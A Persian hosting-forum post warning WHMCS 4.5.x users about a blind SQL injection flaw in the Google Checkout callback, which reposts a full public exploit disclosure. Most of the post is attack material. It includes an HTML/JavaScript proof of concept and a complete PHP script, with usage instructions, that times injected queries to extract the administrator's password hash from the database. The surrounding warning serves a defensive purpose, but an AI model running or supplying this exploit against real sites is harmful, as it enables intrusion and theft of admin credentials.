نمایش نتایج: از شماره 1 تا 5 , از مجموع 5

موضوع: مهم »»» مشکل امنیتی جدید در WHMCS ورژن 4.5.x

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #1
    عضو انجمن secure_host آواتار ها
    تاریخ عضویت
    Nov 2008
    نوشته ها
    586
    تشکر تشکر کرده 
    171
    تشکر تشکر شده 
    1,382
    تشکر شده در
    508 پست

    Post مهم »»» مشکل امنیتی جدید در WHMCS ورژن 4.5.x

    با سلام
    طی گزارشات دریافتی اخیرا مشکل امنیتی با درجه اهمیت بالا برای نسخه 4.5.x سیستم WHMCS گزارش شده است . لطفا هرچه سریع تر مشکل را از طریق شرکت ارایه دهنده مربوطه برطرف نمایید.

    مشکل امنیتی مربوطه در ادامه ارسال شده است.

    کد PHP:
    WHMCS v4.5.2 Blind SQL Injection Vulnerability

    [ Home ] [ Description ]
    ____  _                                    
    / ___|| |_ __ _ _ __  __      ____ _ _ __ ___ 
    \___ \| __/ _` | '__| \ \ /\ / / _` | '__/ _ \
    ___) | || (_| | |     \ V  V / (_| | | |  __/
    |____/ \__\__,_|_|      \_/\_/ \__,_|_|  \___|
     
     
    # Software : WHMCS (WHMCompleteSolution)                                             
    # Google Dork: Turn on thinking mode :P
    # Date: 10/22/2012
    # Author: Starware Security Team [www.Resecure.me]
    # Contact Us : Security[@]star-ware.com
    # Vendor Homepage: http://www.whmcs.com
    # Tested on: WHMCS v4.5.2 
    # Affected versions: 4.5.x
    -----------------------------------------------------
     
    #Vulnerability Exists in : [SCRIPT_DIR]/modules/gateways/callback/googlecheckout.php
     
    #Vulnerable Source Code Snippet : 
     
    LINE 11: $xml_response = (isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : file_get_contents('php://input'));
    LINE 16: $xmldata = XMLtoArray($xml_response);
    LINE 19: $ordernumber = $xmldata['CHARGE-AMOUNT-NOTIFICATION']['GOOGLE-ORDER-NUMBER'];
    LINE 22: $query = 'SELECT data FROM tblgatewaylog WHERE gateway=\'Google Checkout\' AND data LIKE \'%new-order-notification%' . $ordernumber . '%\'';
     
    #Proof of Concept : 
     
    <html>
    <head>
    <title>WHMCS Blind SQL Injection POC</title>
    </head>
    <body>
    <script>
    var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
    var http = new XMLHttpRequest();
    try {
    netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    } catch (e) {
    alert("Permission UniversalBrowserRead denied.");
    }
    http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true);
    http.onreadystatechange = handleResponse;
    http.send(params);
    function handleResponse() {
     
    if(http.readyState == 4 && http.status == 200){
    var response = http.responseText;
    alert(response);
    }
    }  
    </script>
    </body>
    </html>
     
    #Exploit Code  : 
     
     
    <?php
    /*
    WHMCS Blind SQL Injection Exploit by Starware Security Team.
    Usage: php exploit.php URL seconds
    */
     
    set_time_limit(0);
    function 
    post_request($url,$post_data,$follow=0) {
    $user_agent 'Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1'
    $ch curl_init();
    $timeout 1;
    $execution_timeout 4;
    curl_setopt($chCURLOPT_URL,$url);
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    if(
    $follow == 1curl_setopt($chCURLOPT_FOLLOWLOCATIONTRUE );
    curl_setopt($chCURLOPT_USERAGENT$user_agent);
    curl_setopt($chCURLOPT_HTTPHEADER,array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language: en-us,en;q=0.5','Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7','Keep-Alive: 115','Connection: keep-alive'));
    curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
    curl_setopt($chCURLOPT_TIMEOUT$execution_timeout);                                                     
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS,$post_data);
    $response curl_exec($ch);
    curl_close($ch);
    return 
    $response;
    }
     
    function 
    start_time() {
    $time microtime();
    $time explode(" "$time);
    $time $time[1] + $time[0];
    return 
    $time;
     
    }
     
    function 
    end_time($start) {
    $time microtime();
    $time explode(" "$time);
    $time $time[1] + $time[0];
    $finish $time;
    $totaltime = ($finish $start);
    return 
    round($totaltime);
    }
     
     
    function 
    check_ascii($num,$num2,$num3) {
    global 
    $url,$seconds;
    $startstart_time(); 
    $injection "/**/AnD/**/if(ascii(substring((SeLEcT/**/password/**/FROM/**/tbladmins/**/whEre/**/id/**/=/**/1),$num3,1))/**/BETWEEN/**/$num/**/and/**/$num2,/**/BENCHMARK(999999,MD5(NOW()*NOW())),/**/0)/**/-- #";
    post_request($url,"<charge-amount-notification><google-order-number>0' $injection </google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>");
    if(
    end_time($start) >= $seconds)  return true;  else return false;
     
    }
     
     
    function 
    inject($num,$num2,$num3) {
     
    global 
    $url,$seconds;
    for(
    $i=$num;$i<=$num2;$i++) {
    $startstart_time(); 
    $injection "/**/AnD/**/if(ascii(substring((SeLEcT/**/password/**/FROM/**/tbladmins/**/whEre/**/id/**/=/**/1),$num3,1))/**/=/**/$i,/**/BENCHMARK(999999,MD5(NOW()*NOW())),/**/0)/**/-- #";
    post_request($url,"<charge-amount-notification><google-order-number>0' $injection </google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>");
    if(
    end_time($start) >= $seconds) { echo  chr($i); flush(); }
     
    }
     
     
    }
     
    function 
    get_password() {
    global 
    $url;
    for(
    $i=1$i<=32;$i++) {
    if(
    check_ascii(48,52,$i))  { inject(48,52,$i); }
    elseif(
    check_ascii(53,57,$i)) { inject(53,57,$i); }
    elseif(
    check_ascii(97,101,$i)) { inject(97,101,$i); }
    elseif(
    check_ascii(102,106,$i)) { inject(102,106,$i); }
    elseif(
    check_ascii(107,111,$i)) { inject(107,111,$i); }
    elseif(
    check_ascii(112,116,$i)) { inject(112,116,$i); }
    elseif(
    check_ascii(116,122,$i)) { inject(116,122,$i); }
    }
    }
     
     
     
    if (
    $argc 3) {
    print 
    "Usage: php ".$argv[0]." URL seconds\r\nExample:\r\nphp ".$argv[0]." http://site.com/whmcs/ 1\r\n-----------------------------------------\r\n"
    die; 
    }
    $url trim($argv[1])."/modules/gateways/callback/googlecheckout.php";
    $seconds trim($argv[2]);
    echo 
    "[~] Fetching password right now ... \n"flush();
    echo 
    "    >> MD5 Password = "flush();
    get_password();
     
    ?>
     
     
    #################################################################################
     
    Note: to exploit this vulnerability the google checkout payment gateway 
    should be activated by admin from the whmcs admin panel 
     
    ~ END OF Disclosure ~
     
    Good Luck :)
     
    #################################################################################
    #   Starware is an company specialzed in Hosting and Information Security field #
    #   with list of high ranked sites including Mobile operators used our Hosting  #
    #                              and Security Services.                           #
    #                                                                               #
    #                            "Company Located in Egypt"                         #                        
    #                                                                               #                         
    #                             http://www.star-ware.com                          #      
    #                                                                               #
    ################################################################################# 
     
    # 1337day.com [2012-10-23]

    اطلاعات تکمیلی :

    http://1337day.com/exploit/19615

    اطلاعاتی در مورد باگ مربوطه
    https://www.owasp.org/index.php/Blind_SQL_Injection
    ارایه دهنده خدمات ایمن سازی سرور های مبتنی بر لینوکس و ویندوز
    My Crime Is My Advisory . Hacking Is The Best But Security Is The First

    The Best Secure Hosting in Iran http://SecureHost.ir

    جهت تماس در شبکه IRC :mHUB.HIRCNetwork.com#Linux@Secure_Host

  2. تعداد تشکر ها ازsecure_host به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. رفع باگ امنیتی whmcs - 5.3.8
    توسط yastheme در انجمن WHMCS
    پاسخ ها: 2
    آخرين نوشته: August 27th, 2014, 11:32
  2. پاسخ ها: 8
    آخرين نوشته: February 2nd, 2014, 13:42
  3. پچ امنیتی whmcs ~~21 اکتبر
    توسط mhiizadi در انجمن WHMCS
    پاسخ ها: 15
    آخرين نوشته: October 20th, 2013, 13:33
  4. این کارای امنیتی whmcs 5.2 چیه ؟
    توسط mohammad73 در انجمن سوالات و مشکلات
    پاسخ ها: 1
    آخرين نوشته: October 18th, 2013, 00:36
  5. انجام کلیه تنطیمات امنیتی whmcs
    توسط persiantools در انجمن سوالات و مشکلات
    پاسخ ها: 11
    آخرين نوشته: February 20th, 2012, 20:09

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •